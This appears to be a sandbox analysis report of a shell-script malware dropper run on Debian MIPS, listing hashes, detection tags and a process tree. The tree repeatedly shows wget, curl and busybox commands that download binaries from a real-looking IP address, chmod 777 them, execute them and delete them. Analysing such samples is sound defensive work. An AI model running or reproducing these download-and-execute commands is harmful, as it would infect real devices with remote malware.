a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d

Analysis

max time kernel
73s
max time network
76s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
20/11/2024, 03:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d.sh
Size 10KB
Sample241120-dpg58ayhle
SHA256 a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d
MD5 ef505d64f23098451d64b4ff3856093e
SHA1 5297cfaa6fde5a75f63579eb307dce84090420ef
SHA512 f9882b0da33f44b4cf2653178a57074bf58ee7f168bc9bea57ac986da423d164d13889ce54977b0852990674f6dccf00c7c095d935cf51f74b513834282b96e3
SSDEEP 192:m6GB7b/KvZ5hh1hdh4/DTarYQrYArYAD3wpXpDp0JxUuimI4W74S4e4+AUXa7JpD:SiDD74/DT/5F0JxMEuXZ5F0Jx4D74/D3
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
770	chmod
825	chmod
906	chmod
894	chmod
954	chmod
984	chmod
818	chmod
942	chmod
960	chmod
756	chmod
834	chmod
918	chmod
948	chmod
912	chmod
924	chmod
750	chmod
900	chmod
966	chmod
978	chmod
743	chmod
874	chmod
888	chmod
930	chmod
936	chmod
850	chmod
793	chmod
882	chmod
972	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	curl
File opened for modification	/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	curl
File opened for modification	/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	curl
File opened for modification	/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	curl
File opened for modification	/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	curl
File opened for modification	/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	curl
File opened for modification	/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	curl
File opened for modification	/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	curl
File opened for modification	/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	curl
File opened for modification	/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	curl
File opened for modification	/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	curl
File opened for modification	/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	curl
File opened for modification	/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	curl
File opened for modification	/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	curl
File opened for modification	/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	curl
File opened for modification	/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	curl
File opened for modification	/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	curl
File opened for modification	/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	curl
File opened for modification	/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	curl
File opened for modification	/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	curl
File opened for modification	/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	curl
File opened for modification	/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	curl
File opened for modification	/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	curl
File opened for modification	/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	curl
File opened for modification	/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	curl
File opened for modification	/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	curl
File opened for modification	/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	curl
File opened for modification	/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	curl

/tmp/a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d.sh
/tmp/a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:719
- /usr/bin/wget
  wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:721
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:742
- /bin/chmod
  chmod 777 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  ./41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:746
- /usr/bin/wget
  wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:749
- /bin/chmod
  chmod 777 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  ./68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:752
- /usr/bin/wget
  wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:755
- /bin/chmod
  chmod 777 g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  ./g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:758
- /usr/bin/wget
  wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:767
- /bin/chmod
  chmod 777 xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  ./xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:774
- /usr/bin/wget
  wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:789
- /bin/chmod
  chmod 777 d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  ./d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:798
- /usr/bin/wget
  wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:816
- /bin/chmod
  chmod 777 bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  ./bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:824
- /bin/chmod
  chmod 777 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  ./3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:827
- /usr/bin/wget
  wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:833
- /bin/chmod
  chmod 777 BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  ./BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:836
- /usr/bin/wget
  wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:847
- /bin/chmod
  chmod 777 All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  ./All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:854
- /usr/bin/wget
  wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:856
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:870
- /bin/chmod
  chmod 777 P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  ./P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:878
- /usr/bin/wget
  wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:881
- /bin/chmod
  chmod 777 rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  ./rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:884
- /usr/bin/wget
  wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:887
- /bin/chmod
  chmod 777 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  ./9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:890
- /usr/bin/wget
  wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:893
- /bin/chmod
  chmod 777 Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  ./Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:896
- /usr/bin/wget
  wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:899
- /bin/chmod
  chmod 777 vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  ./vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:902
- /usr/bin/wget
  wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:905
- /bin/chmod
  chmod 777 bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  ./bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:908
- /usr/bin/wget
  wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:911
- /bin/chmod
  chmod 777 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  ./3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:914
- /usr/bin/wget
  wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:917
- /bin/chmod
  chmod 777 BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  ./BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:920
- /usr/bin/wget
  wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:923
- /bin/chmod
  chmod 777 xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  ./xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:926
- /usr/bin/wget
  wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:929
- /bin/chmod
  chmod 777 d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  ./d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:935
- /bin/chmod
  chmod 777 rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  ./rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:938
- /usr/bin/wget
  wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:941
- /bin/chmod
  chmod 777 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  ./9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:944
- /usr/bin/wget
  wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:947
- /bin/chmod
  chmod 777 Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  ./Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:950
- /usr/bin/wget
  wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:953
- /bin/chmod
  chmod 777 vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  ./vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:956
- /usr/bin/wget
  wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:959
- /bin/chmod
  chmod 777 All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  ./All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:962
- /usr/bin/wget
  wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:965
- /bin/chmod
  chmod 777 P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
